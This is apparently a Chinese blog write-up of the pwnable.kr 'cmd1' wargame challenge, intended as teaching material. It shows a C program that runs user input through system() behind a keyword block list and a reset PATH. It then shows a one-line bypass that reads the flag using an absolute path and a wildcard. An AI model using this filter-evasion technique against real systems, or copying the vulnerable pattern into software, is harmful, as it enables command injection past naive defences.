

pwnable.kr-cmd1 writeup

原创

Neil-Yale 于 2020-02-05 17:24:04 发布 124 收藏

分类专栏: [bin](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/yalecaltech/article/details/104185544>

版权



[bin](#) 专栏收录该内容

31 篇文章 5 订阅

订阅专栏

看看源码

```
cmd1@pwnable:~$ ls
cmd1 cmd1.c flag
cmd1@pwnable:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/thankyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

cmd1@pwnable:~$
```

<https://blog.csdn.net/yalecaltech>

在main中可以看到我们输入的参数可以通过调用system执行

但是在传给system执行前, 输入的内容会被filter处理

而filter过滤了tmp,flag,sh这些关键字

而且还有一点需要注意的是, 我们绕过filter之后, 还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西

PATH决定了shell将到哪些目录中寻找命令或程序, PATH的值是一系列目录, 当运行一个程序时, Linux在这些目录下进行搜寻编译链接

修改之后意味着我们要使用命令时需要使用绝对路径, 比如要想读flag,正常情况下应该是cat flag, 但是现在需要/bin/cat flag

综上, 绕过

```
cmd1@pwnable:~$ ./cmd1 "/bin/cat f*"
mommy now I get what PATH environment is for :)
cmd1@pwnable:~$
```

这里我们用到了通配符*，使用f*匹配flag文件，从而绕过